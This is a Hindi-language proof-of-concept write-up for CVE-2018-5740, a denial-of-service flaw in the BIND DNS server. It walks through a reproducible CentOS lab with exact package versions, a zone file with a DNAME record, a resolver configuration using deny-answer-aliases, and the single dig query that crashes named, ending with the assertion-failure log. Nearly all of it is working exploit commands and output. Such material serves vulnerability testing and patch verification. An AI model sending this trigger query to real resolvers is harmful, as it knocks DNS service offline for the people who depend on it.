
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2018-5740 के लिए, BIND DNS सर्वर में एक सेवा अस्वीकार भेद्यता जो एक निर्मित DNAME क्वेरी द्वारा ट्रिगर होती है, प्रतिलिपि योग्य प्रयोगशाला सेटअप के साथ।
Named, जो वैध आधिकारिक सर्वर से प्रतिक्रिया प्राप्त करता है, CVE-2018-5740 के कारण क्रैश हो जाता है।
CentOS 7.5 स्थापित करें।
bind और bind-utils पैकेज स्थापित करें।
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64
example.com ज़ोन के लिए ज़ोन फ़ाइल बनाएँ।
# vi /var/named/example.com
# chown root:named /var/named/example.com
example.com ज़ोन फ़ाइल।
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
dname IN DNAME child.example.com.
example.com ज़ोन जोड़ने के लिए named.conf संपादित करें।
# vi /etc/named.conf
example.com ज़ोन निर्देश।
zone "example.com" IN {
type master;
file "example.com";
};
आधिकारिक सर्वर सेवा प्रारंभ करें।
# systemctl start named
पूर्ण-रिज़ॉल्वर सर्वर के लिए कॉन्फ़िगरेशन फ़ाइल बनाएँ।
# vi /etc/named-full-resulver.conf
named-full-resolver.conf
options {
listen-on port 10053 { 127.0.0.1; };
listen-on-v6 port 10053 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";
managed-keys-directory "/var/named/dynamic";
pid-file "/var/run/named/named-full-resolver.pid";
session-keyfile "/run/named/session.key";
deny-answer-aliases {
"dname.example.com";
};
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.ca";
};
zone "example.com" IN {
type static-stub;
server-addresses { 127.0.0.1; };
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
आधिकारिक सर्वर सेवा प्रारंभ करें।
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf
पूर्ण-रिज़ॉल्वर को क्वेरी भेजें।
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec
/var/log/messages देखें।
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)